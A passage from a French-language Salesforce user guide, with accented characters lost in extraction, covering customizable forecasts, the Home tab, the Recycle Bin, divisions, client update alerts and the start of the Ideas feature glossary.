Validation : inclut les montants que vous tes sr d'atteindre et les montants des opportunits closes/gagnes.
Omise : signifie que le montant ne contribue pas la prvision.
En-cours : inclut les montants de toutes les opportunits ouvertes.
Remarque: Vous pouvez modifier le champ des catgories prvisionnelles des opportunits pour changer la valeur
affiche dans les rapports, les pages des dtails et de modification des opportunits, les recherches d'opportunits et
les vues de listes d'opportunits. Par exemple, vous pouvez modifier la valeur de la catgorie Validation sur Gagne
pour que le nom de la catgorie corresponde vos processus commerciaux.

Chaque valeur de la liste de slection tape de l'opportunit est automatiquement mappe la valeur des listes de slection
Probabilit et Catgorie prvisionnelle. Si vous modifiez la valeur du champ tape de l'opportunit, les valeurs
des champs Probabilit et Catgorie prvisionnelle changent en consquence.
Par exemple, imaginez que votre entreprise ait mapp l'tape Ngociation/Vrification la catgorie prvisionnelle Maximum.
Cela signifie que les montants des opportunits de l'tape Ngociation/Vrification sont inclus dans le montant prvisionnel
de la catgorie Maximum. Votre entreprise peut avoir configur diffrents mappages. L'exemple suivant montre comment ces
champs sont mapps :
tape

Probabilit

Catgorie prvisionnelle

Prospection

10%

En-cours

Prvisions personnalisables

Guide de l'utilisateur | Page d'accueil de la prvision personnalisable | 1447

tape

Probabilit

Catgorie prvisionnelle

Qualification

10%

En-cours

Analyse des besoins

20%

En-cours

Proposition de valeur

50%

En-cours

ID dcisionnaires

60%

En-cours

Analyse de la perception

70%

En-cours

Proposition/Devis

75%

En-cours

Ngociation/Vrification

90%

Maximum

Close gagne

100%

Validation

Que vous utilisiez ou non la prvision personnalisable, les prvisions dpendent toujours de la faon dont les valeurs de la liste
de slection tape de l'opportunit sont mappes celles de la liste de slection Catgorie prvisionnelle.

Voir aussi :
Gestion des prvisions personnalisables
Affichage des prvisions personnalisables

Page d'accueil de la prvision personnalisable

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les prvisions des autres utilisateurs :

Afficher toutes les prvisions

Pour remplacer votre prvision :

Ignorer les prvisions

Lorsque vous cliquez sur l'onglet Prvisions, vous affichez la prvision pour la priode de prvision slectionne.

Cliquez sur le bouton Envoyer pour soumettre une prvision et ainsi faire apparatre un instantan des donnes prvisionnelles
dans l'historique prvisionnel et les rapports de prvision. Reportez-vous Soumission de prvisions personnalisables la
page 1452.
Cliquez sur le bouton Historique des prvisions pour afficher les donnes prvisionnelles que vous avez soumises
prcdemment. Cliquez ensuite sur le bouton Rsum prvisionnel pour revenir aux donnes prvisionnelles actuelles.
Cliquez sur le bouton Vue imprimable pour afficher la prvision slectionne dans une prsentation simple et imprimable.
Examinez votre prvision et celles de tous les rapports directs ou les prvisions qui sont partages manuellement avec vous.
Pour obtenir des instructions sur les diffrentes options d'affichage, reportez-vous Affichage des prvisions personnalisables
la page 1449.
Cliquez sur le sous-onglet Prvision pour afficher les dtails des prvisions. Pour plus d'informations, reportez-vous
Affichage des prvisions personnalisables la page 1449.

Prvisions personnalisables

Guide de l'utilisateur | Gestion des prvisions personnalisables | 1448

Cliquez sur le sous-onglet Opportunits pour consulter les opportunits incluses dans la prvision affiche. Dans le
sous-onglet Opportunits, vous pouvez choisir (ou crer) une vue de liste afin de filtrer davantage les opportunits affiches.
Pour plus d'informations, reportez-vous Affichage des prvisions personnalisables la page 1449.

Cliquez sur l'icne de modification ( ) pour diter le total prvisionnel ajust ou pour remplacer un montant prvisionnel
particulier. Pour obtenir des instructions sur le remplacement des montants prvisionnels, reportez-vous Remplacement
des prvisions personnalisables la page 1451.

Si la prvision n'est pas disponible, contactez l'administrateur afin qu'il vous ajoute la hirarchie des prvisions (ou la
hirarchie des territoires si l'organisation a recours la gestion des territoires).
Remarque: Contrairement aux autres onglets, l'onglet Prvisions calcule automatiquement les donnes sur la base
des donnes de l'opportunit. Vous n'avez pas besoin de crer d'enregistrements prvisionnels, ni de les supprimer.

Voir aussi :
Est-ce que je dispose de la prvision personnalisable ?
Gestion des prvisions personnalisables
Affichage des prvisions personnalisables

Gestion des prvisions personnalisables

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les prvisions des autres utilisateurs :

Afficher toutes les prvisions

Pour remplacer votre prvision :

Ignorer les prvisions

Les prvisions reprsentent les montants, dates et tapes d'opportunit. Pour vrifier que les prvisions sont la reprsentation
exacte des sources possibles de revenu :
1. Vrifiez les montants prvisionnels. Pour obtenir des instructions sur les diffrentes options d'affichage, reportez-vous
Affichage des prvisions personnalisables la page 1449.
2. Dterminez si vous voulez remplacer des montants.
3. Remplacez des montants si ncessaire. Vous devez pour ce faire disposer des autorisations ncessaires. Reportez-vous
Remplacement des prvisions personnalisables la page 1451.

Prvisions personnalisables

Guide de l'utilisateur | Affichage des prvisions personnalisables | 1449

4. Soumettez la prvision pour faire apparatre un instantan des donnes prvisionnelles dans l'historique prvisionnel et les
rapports de prvision. Reportez-vous Soumission de prvisions personnalisables la page 1452.

Voir aussi :
Prsentation des prvisions personnalisables
Utilisation des catgories prvisionnelles
Page d'accueil de la prvision personnalisable
Est-ce que je dispose de la prvision personnalisable ?
Affichage des prvisions personnalisables
Soumission de prvisions personnalisables

Affichage des prvisions personnalisables

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les prvisions des autres utilisateurs :

Afficher toutes les prvisions

Pour remplacer votre prvision :

Ignorer les prvisions

Lorsque vous cliquez sur l'onglet Prvisions, vrifiez les montants rpertoris et dterminez s'ils sont prts tre soumis.

Initialement, votre nom apparat dans la barre de titre et au-dessus de Rechercher une prvision, ce qui indique
que vous visualisez votre propre prvision. Les utilisateurs qui disposent des autorisations ncessaires peuvent cliquer sur
l'icne reprsentant une loupe, puis slectionner un autre utilisateur ou un rle pour afficher la prvision de cette personne.
Lorsque vous affichez une prvision autre que la vtre, le rle ou le nom d'utilisateur sera affich dans la barre de titre et
au-dessus de Rechercher une prvision. En outre, votre niveau d'accs sera affich au-dessus de Rechercher une
prvision.
Si votre entreprise utilise le partage manuel des prvisions, cliquez sur Partage pour afficher les paramtres de partage des
prvisions ou pour partager les prvisions avec d'autres utilisateurs.
Si l'organisation utilise des territoires, slectionnez une option dans la liste de slection Territoire afin de rsumer la
prvision de ce territoire. Reportez-vous Prsentation de la gestion des territoires la page 1952.
Si votre organisation utilise des gammes de produits, choisissez une gamme dans la liste de slection Produit : gamme
pour rsumer la prvision en fonction de cette gamme de produits. Si vous slectionnez l'option --Tous--, les options
Envoyer et Historique des prvisions sont dsactives. Choisissez une autre gamme de produits pour utiliser ces options.
Pour plus d'informations sur la personnalisation de votre entreprise pour qu'elle utilise les gammes de produits, reportez-vous
Dfinition des paramtres des prvisions personnalisables la page 666.
Si votre entreprise ralise des prvisions sur le chiffre d'affaires et la quantit, dcidez si les calculs doivent porter sur le
chiffre d'affaires ou sur la quantit, ou sur les deux. Vous contrlez ainsi les informations affiches pour chaque montant
rpertori.
Slectionnez une priode dans le champ Dbut de la plage pour afficher une autre priode de prvision. Les dtails
de prvision des opportunits qui ont t closes plus de deux ans avant que vous ayez mis en uvre les prvisions
personnalisables ou doivent tre closes plus de dix ans aprs ne sont pas disponibles. Pour obtenir des informations sur les

Prvisions personnalisables

Guide de l'utilisateur | Affichage des prvisions personnalisables | 1450

opportunits situes en dehors de cette plage, consultez la rubrique Rapports sur les opportunits, prvisions et ventes la
page 1687.
Remarque: Les entreprises ayant mis en uvre les prvisions personnalisables avant la version Salesforce.com
Winter '07 ont accs aux prvisions situes en dehors de cette plage.

Slectionnez une valeur dans le champ Longueur de plage pour afficher un nombre plus ou moins consquent de
priodes de prvision.
Remarque: Si vous utilisez des exercices personnaliss, les priodes antrieures au premier exercice dfini et
ultrieures au dernier utilisent les mois ou trimestres calendaires (selon la configuration de la prvision) pour le
dbut de plage et la longueur de la priode.

Slectionnez une option ct du champ Units d'affichage pour afficher les totaux prvisionnels avec une autre
unit de mesure. Pour afficher la portion du quota reprsente par chaque total, slectionnez l'option % du quota.

Affichage de l'historique des prvisions

Lorsque la prvision est affiche dans l'onglet Prvisions, cliquez sur le bouton Historique des prvisions pour afficher
l'instantan des donnes prvisionnelles qui a t pris lors de la soumission. Vous pouvez galement afficher les prvisions
soumises par les utilisateurs subordonns. Cliquez sur le bouton Rsum prvisionnel pour revenir la vue prcdente.
Affichage des dtails des montants prvisionnels
Cliquez sur le sous-onglet Prvisions pour afficher les dtails de prvision. Cliquez sur un montant prvisionnel pour afficher
les dtails des montants d'opportunit inclus dans ce montant prvisionnel. Dans la page de dtails, cliquez sur un lment
rpertori pour l'afficher. Cliquez sur l'option Modifier pour modifier cet lment. Pour obtenir des instructions sur le
remplacement des montants de prvision dans l'opportunit, reportez-vous Remplacement des prvisions personnalisables
la page 1451.
Si vous avez des rapports directs (utilisateurs qui vous sont directement rattachs), leurs prvisions s'affichent sous les vtres.
L'option Choisir une vue vous permet de changer l'affichage des informations prvisionnelles pour les rapports directs.
Utilisez cette option pour regrouper les donnes prvisionnelles par subordonn ou priode de prvision.

L'option Afficher par priode affiche la liste des rapports directs ainsi que leurs prvisions pour chaque priode de prvision.
Cliquez sur un nom pour afficher la prvision de cet utilisateur.
L'option Afficher par rapport direct affiche la liste des totaux prvisionnels pour chaque rapport direct. Cliquez sur le
bouton Afficher ct d'un nom de subordonn pour afficher la prvision de cet utilisateur.
Si vous cliquez sur un montant, le systme affiche les opportunits et remplacements de prvision inclus dans ce montant.

Affichage des opportunits

Slectionnez le sous-onglet Opportunits pour consulter les opportunits incluses dans la prvision affiche. Dans le sous-onglet
Opportunits, vous pouvez choisir (ou crer) une vue de liste afin de filtrer davantage les opportunits affiches. Cliquez sur
une opportunit pour en afficher les dtails. Pour remplacer l'opportunit, cliquez sur Modifier. Pour plus d'informations sur
le remplacement des opportunits, reportez-vous Remplacement des prvisions personnalisables la page 1451.

Prvisions personnalisables

Guide de l'utilisateur | Remplacement des prvisions personnalisables | 1451

Remarque: Lorsqu'un utilisateur du portail partenaire est transfr vers un autre compte, les opportunits de chaque
compte sont automatiquement recalcules via la hirarchie des prvisions de votre organisation.

Voir aussi :
Prsentation des prvisions personnalisables
Utilisation des catgories prvisionnelles
Page d'accueil de la prvision personnalisable
Gestion des prvisions personnalisables
Soumission de prvisions personnalisables

Remplacement des prvisions personnalisables

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les prvisions des autres utilisateurs :

Afficher toutes les prvisions

Pour remplacer votre prvision :

Ignorer les prvisions

Vous pouvez utiliser la prvision pour valuer plus prcisment les ventes prvisionnelles en remplaant des montants prvisionnels
si ncessaire. Un utilisateur peut remplacer une prvision dans l'opportunit en modifiant le champ tape ou Catgorie
prvisionnelle de cette opportunit. Les utilisateurs disposant des autorisations Ignorer les prvisions peuvent remplacer
leur prvision ou toute prvision du rapport direct au niveau de la prvision.
Remplacement de la prvision dans l'opportunit
1.
2.
3.
4.

Cliquez sur le sous-onglet Opportunits de la page Prvisions.

Cliquez sur Modifier en regard de l'opportunit remplacer.
Modifiez les dtails. Les options disponibles diffrent selon que vous tes responsable de l'opportunit ou non.
Si les produits figurent dans l'opportunit et que vous souhaitez modifier la catgorie de prvision de ces produits, slectionnez
Changer de catgorie, puis le paramtre Catgorie prvisionnelle de produit appropri.
5. Cliquez sur Enregistrer. L'opportunit est alors balise avec l'icne correspondant au statut de remplacement.
Cliquez sur l'option Enregistrer et Actualiser pour mettre jour l'enregistrement et afficher nouveau les totaux.
Remplacement du total prvisionnel
1. Cliquez sur le sous-onglet Prvisions de la page Prvisions.
2. Cliquez sur l'icne de modification (
) pour remplacer le total ajust.
3. Entrez le nouveau montant et un commentaire.
4. Cliquez sur Enregistrer. La prvision est alors balise avec l'icne correspondant au statut de remplacement.

Prvisions personnalisables

Guide de l'utilisateur | Soumission de prvisions personnalisables | 1452

Remplacement de la prvision des rapports directs

1. Cliquez sur le sous-onglet Prvisions de la page Prvisions.
2. Cliquez sur l'icne de modification (
) pour remplacer la prvision du rapport direct.
3. Choisissez l'une des options de remplacement suivantes pour contrler les ventuels montants de remplacement inclure
dans la prvision :

Accepter les prvisions de XX : utilisez cette option pour accepter la prvision du rapport direct et les remplacements
effectus par cet utilisateur.
Rejeter tout remplacement des prvisions de XX, mais accepter le remplacement de celles provenant d'autres
subordonns : utilisez cette option pour ignorer les remplacements effectus dans la prvision du rapport direct et
inclure ceux effectus dans les prvisions situes plus bas dans la hirarchie.
Rejeter tous les remplacements de prvisions : utilisez cette option pour ignorer tous les remplacements au niveau de
la prvision et inclure tous ceux effectus au niveau de l'opportunit. Si certains montants ont t remplacs au niveau
de l'opportunit, le calcul utilise vos prvisions d'opportunit. Choisissez cette option si vous voulez que les montants
prvisionnels soient bass sur les montants d'opportunit, y compris les remplacements effectus au niveau de
l'opportunit.
Remplacer la prvision et la dfinir sur : utilisez cette option pour saisir le montant qui remplace le montant actuel
dans votre prvision. Ce montant dans votre prvision sera visible par votre responsable, mais pas par vos subordonns.

4. Si votre prvision se base sur le chiffre d'affaires et la quantit, slectionnez une option de remplacement pour la prvision
de la quantit.
5. Cliquez sur Enregistrer. La prvision est alors balise avec l'icne correspondant au statut de remplacement.
Remarque: Contrairement aux autres onglets, l'onglet Prvisions calcule automatiquement les donnes sur la base
des donnes de l'opportunit. Vous n'avez pas besoin de crer d'enregistrements prvisionnels, ni de les supprimer.

Voir aussi :
Est-ce que je dispose de la prvision personnalisable ?

Soumission de prvisions personnalisables

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les prvisions des autres utilisateurs :

Afficher toutes les prvisions

Pour remplacer votre prvision :

Ignorer les prvisions

Vos suprieurs hirarchiques et vous-mme pouvez toujours accder aux totaux prvisionnels dans l'onglet Prvisions avances.
Cependant, les totaux prvisionnels ne sont accessibles dans l'historique des prvisions et les rapports qu'une fois que vous les
avez soumis. Vous pouvez soumettre votre propre prvision ou n'importe quelles donnes prvisionnelles qui ont t partages
manuellement avec vous et que vous tes habilit soumettre.
Pour soumettre votre prvision :

Prvisions personnalisables

Guide de l'utilisateur | Soumission de prvisions personnalisables | 1453

1. Cliquez sur l'option Envoyer de la prvision dans l'onglet Prvisions avances.

2. Cliquez sur OK pour terminer. Salesforce.com prend un instantan des totaux prvisionnels, puis les met disposition
dans les rapports et l'historique des prvisions.

Voir aussi :
Est-ce que je dispose de la prvision personnalisable ?
Gestion des prvisions personnalisables
Affichage des prvisions personnalisables

Onglet Accueil
Prsentation de l'onglet Accueil
Les onglets et options de la liste droulante Crer varient selon les autorisations dont vous disposez et l'dition Salesforce.com
utilise.

Depuis l'onglet Accueil, vous pouvez afficher votre calendrier et vos tches, et slectionner les onglets et les options de menu
latral pour accder d'autres informations. Vous pouvez galement rechercher des informations et consulter des messages et
des liens personnaliss fournis par votre administrateur.
Les onglets situs en haut de la page vous permettent d'accder diffrents types d'informations.
Les onglets peuvent tre organiss en groupes appels sous-applications qui facilitent la navigation entre groupes d'onglets
associs. Outre les sous-applications standard, telles que Ventes et Centre d'appels, l'administrateur peut crer des
sous-applications personnalises pour dfinir les onglets visibles. Le menu des sous-applications de Force.com situ en haut
de la page permet de basculer entre les sous-applications.
Un message d'alerte peut apparatre sur l'onglet Accueil pour vous informer lorsque des mises jour sont disponibles pour les
clients de bureau, comme Connect pour Outlook et Connect Offline. Pour plus d'informations, reportez-vous Affichage
des alertes de mise jour client la page 1458.

Voir aussi :
Utilisation de votre calendrier et de vos tches sur la page d'accueil
Prsentation de la recherche
Corbeille
Prsentation d'une sous-application

Modification du tableau de bord de votre onglet Accueil

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Votre administrateur peut crer des pages de l'onglet Accueil personnalises faisant apparatre les composants personnaliss,
tels que l'instantan d'un tableau de bord ou le logo de votre entreprise. Si votre onglet Accueil contient un instantan de
tableau de bord, vous pouvez modifier les paramtres du tableau de bord.
Cliquez sur Personnaliser la page dans la section Tableau de bord de votre onglet Accueil si celui-ci contient un tableau de
bord. Utilisez cette page pour slectionner un autre tableau de bord afficher sur votre onglet Accueil. Cliquez sur Actualiser
pour actualiser les donnes affiches dans votre tableau de bord.

Voir aussi :
Personnalisation de votre affichage

Onglet Accueil

Guide de l'utilisateur | Utilisation de votre calendrier et de vos tches sur la page d'accueil | 1455

Utilisation de votre calendrier et de vos tches sur la page

d'accueil
Disponible avec : Toutes les ditions

Remarque: Les sections Mes tches et Calendrier s'affichent sur votre onglet Accueil si elles font partie des composants
de la prsentation de votre page d'accueil. Pour plus d'informations, reportez-vous Personnalisation des prsentations
de page de l'onglet Accueil la page 568.
Depuis l'onglet Accueil, vous pouvez afficher, crer et modifier des vnements et des tches.
Utilisation de la section Mes tches
Dans la section Mes tches de l'onglet Accueil, vous pouvez effectuer les oprations suivantes :

Cliquez sur Nouveau pour crer une tche.

Affichez une liste des tches qui vous sont attribues. Vous pouvez afficher jusqu' quinze tches. Pour consulter toutes
les tches, cliquez sur Afficher plus d'informations.
L'icne de rcurrence ( ) identifie les tches qui font partie d'une srie rcurrente.

Slectionnez une plage horaire dans la liste droulante pour changer les tches afficher.
Si votre organisation a activ les liens au survol pour ma liste des tches, survolez l'objet d'une tche pour afficher ses dtails
dans un plan. De mme, cliquez sur l'objet d'une tche pour ouvrir la page des dtails de cette tche.
Cliquez sur X pour fermer une tche.

Utilisation de la section Calendrier

Dans la section Calendrier de l'onglet Accueil, vous pouvez effectuer les oprations suivantes :

Cliquez sur Nouvel vnement pour crer un nouvel vnement.

Affichez une liste des vnements planifis pour les sept prochains jours. La section affiche un maximum de 50 vnements
par jour.
Remarque:

L'icne de rcurrence ( ) identifie les vnements qui font partie d'une srie rcurrente.

L'icne d'vnement de groupe ( ) identifie les vnements de groupe. Les vnements de groupe ne sont pas
disponibles dans Personal Edition.

Si votre organisation a activ les liens au survol pour les vnements sur la page d'accueil, survolez l'objet d'un vnement
pour afficher ses dtails dans un plan interactif. Vous pouvez aussi cliquer sur l'objet d'un vnement pour ouvrir la page
des dtails de cet vnement.
Affichez un petit calendrier du mois en cours. Pour modifier le mois affich, cliquez sur les icnes Mois prcdent ( ) et
Mois suivant ( ) selon le cas.

Onglet Accueil

Guide de l'utilisateur | Corbeille | 1456

Affichez diffrentes vues de votre calendrier : Cliquez sur les icnes situes sous le petit calendrier mensuel, selon le cas.
Pour plus d'informations, reportez-vous Affichage de votre calendrier la page 1085.

Voir aussi :
Affichage des activits

Corbeille
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher et rcuprer les enregistrements supprims :

Autorisation Lire sur les enregistrements de la Corbeille

Pour afficher et rcuprer les enregistrements supprims par Modifier toutes les donnes
d'autres utilisateurs :
Pour rcuprer les balises publiques supprimes :

Gestionnaire de balises

Pour vider la Corbeille :

Modifier toutes les donnes

Le lien Corbeille du menu latral vous permet d'afficher et de restaurer les enregistrements supprims pendant 30 jours avant
leur suppression dfinitive. La limite maximale d'enregistrement dans votre corbeille est gale 250 fois l'espace de stockage
en Mga-octets (Mo). Par exemple; si votre socit dispose d'un espace de stockage de 1 Go, votre limite sera gale 250 fois
1000 Mo ou 250.000 enregistrements. Dans le cas o votre entreprise atteint sa limite, Salesforce.com supprime automatiquement
les enregistrements les plus anciens s'ils ont t conservs au moins deux heures dans la corbeille.
Affichage des lments prsents dans la corbeille
Choisissez Ma corbeille dans la liste droulante pour afficher uniquement les lments supprims. Les administrateurs et les
utilisateurs dots de l'autorisation Modifier toutes les donnes affichent les donnes supprimes dans la totalit de l'organisation
via l'option Toutes les corbeilles. Dans Personal Edition, l'option Toutes les corbeilles affiche l'ensemble de vos lments
supprims.
Recherche d'lments prsents dans la corbeille
1. Choisissez Ma corbeille ou Toutes les corbeilles dans la liste droulante. Si vous choisissez Ma corbeille, la recherche
s'effectue uniquement sur les lments supprims.
2. Saisissez les termes rechercher. Les termes de recherche sont considrs comme des entits indpendantes, spares par
un AND implicite. Par exemple, si la recherche porte sur ba dupont, vous obtenez en retour les lments contenant ba et
dupont, mais pas le contact dont le nom est ba leroy et dont l'adresse e-mail est bleroy@dupont.com. Un caractre gnrique
implicite est ajout aux termes de votre recherche. Par consquent, si la recherche porte sur ba, vous obtenez en retour ba
ou batrice. La recherche porte sur le champ affich dans la colonne Nom de la corbeille, tel que la piste Nom, Numro de
la requte, Numro du contrat ou Produit : Nom.
3. Cliquez sur Rechercher.

Onglet Accueil

Guide de l'utilisateur | Modification de votre service | 1457

Restauration des lments de la corbeille

Pour restaurer des lments, cochez la case en regard des lments voulus, puis cliquez sur Restaurer. Pour restaurer tous les
lments supprims, cochez la case situe dans l'en-tte de colonne, puis cliquez sur Restaurer.
Lorsque vous restaurez un enregistrement, Salesforce.com restaure ses associations pour les types de relation suivants :

Les comptes principaux (conformment au champ Compte principal)

Les requtes principales (conformment au champ Requte principale)
Les solutions principales pour les solutions traduites (conformment au champ Solution principale)
Les responsables des contacts (conformment au champ Rattachement hirarchique)
Les produits associs aux actifs (conformment au champ des produits)
Toutes les relations de recherche personnalises
Les membres de groupe de relations dans les comptes et les groupes de relations, avec certaines exceptions.
Onglets
Les catgories, le statut de publication et les attributions d'un article. Reportez-vous Gestion des articles la page 1486.
Remarque: Salesforce.com ne restaure que les relations de recherche qui n'ont pas t remplaces. Par exemple, si un
actif est associ un produit diffrent avant l'enregistrement d'un produit d'origine restaur, la relation actif-produit
n'est pas restaure.

Vidage de la corbeille
Pour liminer dfinitivement les lments supprims avant la priode dfinie de 30 jours, les administrateurs et les utilisateurs
autoriss modifier toutes les donnes ont le choix entre les options Vider votre corbeille et Vider la corbeille de votre
organisation.

Modification de votre service

Disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour changer de service :

Affect par services

Pour limiter le nombre de vues de liste, de recherches et de

rapports par service :

Affect par services

Si votre administrateur a activ les services, les donnes de votre entreprise sont segmentes dans diffrentes sections regroupant
les recherches, les rapports et les vues de liste dans des catgories plus pratiques utiliser. Par exemple, si vous travaillez pour
la filiale amricaine, vous pouvez crer des rapports affichant uniquement les enregistrements appartenant la filiale europenne.
Pour plus d'informations, reportez-vous Prsentation des services la page 63.
Vous pouvez tout moment modifier le service dans lequel vous travaillez. Les donnes que vous voyez apparatre dans les
rsultats de recherche comprennent les enregistrements de votre service.

Pour configurer votre service, slectionnez simplement un service dans la liste droulante Services du menu latral. Ce
paramtre est mmoris pour toutes les connexions.
Pour effectuer une recherche simultane dans plusieurs services, utilisez la fonction de recherche avance ou choisissez
--Tous-- dans la liste droulante Services.

Onglet Accueil

Guide de l'utilisateur | Affichage des alertes de mise jour client | 1458

Pour effectuer une recherche dans un service depuis une bote de dialogue de recherche, slectionnez le service voulu dans
la liste droulante de la bote de dialogue. Vos rsultats contiennent les enregistrements du service en question.
Pour crer des rapports sur les enregistrements d'un service prcis, slectionnez un service dans la liste droulante Services
du rapport. Slectionnez --Courant-- pour afficher les enregistrements de votre service actuel.
Les rapports qui sont dj vrifis (par exemple, les comptes Mes requtes ou Mon quipe) incluent des enregistrements
de tous les services et vous ne pouvez pas les limiter un service spcifique.

Pour rechercher des enregistrements d'un service spcifique dans une vue de liste, utilisez la liste droulante Services lorsque
vous crez ou modifiez la vue de liste.
Remarque: Lorsque vous crez des enregistrements, ils ne sont pas automatiquement attribus votre service actuel.
Pour plus d'informations, reportez-vous Prsentation des services la page 63.

Voir aussi :
Prsentation des services
Transfert de services
Modification du service par dfaut

Affichage des alertes de mise jour client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les alertes de mise jour client :

Activ, mises jour avec alertes

OU
Activ, mise jour obligatoire avec alertes
sur votre profil

Dans les conditions suivantes, un message d'alerte apparat automatiquement dans l'onglet Accueil lorsque de nouvelles versions
de clients tels que Connect pour Outlook et Connect Offline sont disponibles :

Votre administrateur vous a donn accs aux alertes de l'onglet Accueil.

Par le pass, vous vous tes connect(e) avec succs partir du client avec vos nom d'utilisateur et mot de passe Salesforce.com.

Cliquez sur le message d'alerte pour passer la page de recherche des mises jour.
Notez les lments suivants :

Vous pouvez accder la page de recherche des mises jour tout moment pour voir les versions clients installes sur votre
ordinateur.
Aprs l'installation de la mise jour, le message d'alerte continue d'apparatre sur l'onglet Accueil jusqu' ce que vous vous
connectez avec le nouveau client mis jour.

Onglet Accueil

Guide de l'utilisateur | Affichage des alertes de mise jour client | 1459

Connect Offline est le seul client disponible avec Developer Edition.

Voir aussi :
Dfinition des autorisations utilisateur pour les clients de bureau
Prsentation de Force.com Connect pour Microsoft Outlook.
Prsentation de Force.com Connect Offline
Prsentation de Force.com Connect pour Microsoft Office.
Prsentation de Force.com Connect pour Lotus Notes

Ides
Prsentation des Ides
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Autorisation de lecture sur les ides

Pour afficher et voter pour des ides :

Autorisation de lecture sur les ides

Pour crer des ides et y ajouter des commentaires :

Autorisation de cration sur les ides

Pour modifier des ides et en modifier les commentaires :

Autorisation de modification sur les ides

Salesforce CRM Ideas est une communaut d'utilisateurs qui publient, votent et commentent les ides. Elle peut tre considre
comme une bote suggestions en ligne incluant des discussions et des classements par popularit pour n'importe quel sujet.
Conseil: Salesforce.com propose sa propre communaut Salesforce CRM Ideas pour que les utilisateurs de
Salesforce.com apportent des commentaires sur le produit et suggrent de nouvelles fonctions. Pour visiter, allez
http://ideas.salesforce.com.
Terminologie des ides
La terminologie suivante est utilise pour Salesforce CRM Ideas :
Catgorie, ides
Les catgories sont des valeurs dfinies par l'administrateur qui permettent d'organiser des ides en sous-groupes logiques
au sein d'une communaut. La liste droulante Afficher la catgorie de l'onglet Ides permet aux utilisateurs de filtrer
les ides par catgorie et la liste de slection Catgories de la page Publication d'ide permet aux utilisateurs d'ajouter
des catgories leurs ides. Par exemple, si votre communaut Salesforce CRM Ideas a pour centre d'intrt
Amliorations de notre ligne de vtements , vous pouvez dfinir des catgories telles que Chemises , Vestes et
Pantalons . Chaque entreprise dispose d'un ensemble commun de catgories qui peuvent tre ajoutes ou supprimes
de chaque communaut.
Commentaire
Les commentaires sont des textes de rponse aux ides postes qui permettent de discuter certaines ides. Dans l'onglet
Ides, le sous-onglet Commentaires prsente une liste des commentaires les plus rcents. Sur la page des dtails d'une
ide, les commentaires sont classs dans l'ordre chronologique du plus ancien au plus rcent.
Communaut
Les communauts aident organiser les ides et les rponses en groupes logiques, chaque communaut possdant ses
propres centres d'intrt, ses ides uniques et ses domaines de rponse. Les organisations Professional Edition ne peuvent
avoir qu'une seule communaut interne pour Salesforce CRM Ideas. Les autres ditions peuvent avoir jusqu' 50
communaut partages entre les ides et les rponses.
Application Communaut
L'application Communaut comprend Salesforce CRM Ideas et Discussions. La sous-application Communaut est
disponible dans le menu de sous-application de Force.com.

Ides

Guide de l'utilisateur | Prsentation des Ides | 1461

Expert de communaut
Un expert de communaut est un membre de la communaut qui s'exprime de manire crdible et en tant qu'autorit
au nom de votre entreprise. Lorsqu'un expert de communaut publie un commentaire ou une ide, une icne unique
( ) s'affiche en regard de son nom afin que les autres membres de la communaut puissent identifier facilement des
informations crdibles au sein de la communaut. L'administrateur Salesforce.com peut dsigner autant d'experts de
communaut que ncessaire.
Rtrograder
Si vous n'apprciez pas une ide, vous pouvez cliquer sur rtrograder pour retirer 10 points au rsultat global et faire
rtrograder la position de popularit gnrale de l'ide. Vous ne pouvez pas rtrograder la mme ide plus d'une fois et
aprs avoir rtrograd une ide, vous ne pouvez pas la promouvoir. Une ide peut avoir un nombre ngatif de points si
le nombre d'utilisateurs qui rtrogradent l'ide est suprieur celui de ceux qui la promeuvent.
Priode de dcroissance
La priode de dcroissance dtermine la vitesse laquelle les anciennes ides quittent le haut de la liste sur le sous-onglet
Ides populaires, pour laisser la place aux ides ayant obtenu des votes plus rcents. Une priode de dcroissance plus
courte dplace les ides vers le bas de la page plus rapidement qu'une priode de dcroissance plus longue. Ce paramtre
touche toute les communauts dans votre entreprise.
Ide
Les ides sont des suggestions publies par les membres d'une communaut Salesforce CRM Ideas. Par exemple, si le
centre d'intrt d'une communaut spcifique est Ides pour des quipements auto , une ide pertinente pour cette
communaut pourrait avoir comme titre Porte-gobelet isotherme qui garde votre boisson chaude ou froide .
Alternativement, si le centre d'intrt d'une communaut spcifique est Ides pour des avantages en faveur de salaris
de notre socit , une ide pertinente pour cette communaut pourrait avoir comme titre Crche sur site .
Point
Un point est une unit de mesure qui reprsente la popularit d'une ide. Chaque vote pour une ide vaut dix points (la
promotion ajoute 10 points et la rtrogradation retire 10 points). Le nombre total de points d'une ide s'affiche la
gauche de celle-ci.
Ides populaires
Dans le sous-onglet Ides populaires, les ides sont classes par un calcul interne qui reflte l'anciennet des votes positifs
d'une ide. Les ides ayant des votes positifs rcents sont affiches plus haut sur la page que celles ayant des votes positifs
plus anciens, sans tenir compte du nombre de points total statique d'une ide. Vous pouvez ainsi consulter des ides qui
ont gagn une popularit rcente avec une moins grande priorit pour les ides anciennes qui ont reu des votes positifs
dans le pass. Pour plus d'informations, reportez-vous Point et Priode de dcroissance.
Portail
Si votre entreprise a un portail client ou un portail partenaire, vous pouvez ajouter l'onglet Ides l'un ou aux deux portails
afin que les utilisateurs de portail puissent participer leurs propres communauts Salesforce CRM Ideas. La liste
Communaut en haut de l'onglet Ides rpertorie toutes les communauts disponibles et chaque communaut contient
son propre groupe d'ides uniques.
Pour plus d'informations sur le Portail Client, reportez-vous Configuration du Portail Client la page 1284. Pour plus
d'informations sur le portail partenaire, reportez-vous Prsentation de la gestion des relations partenaires la page 1612.
Promouvoir
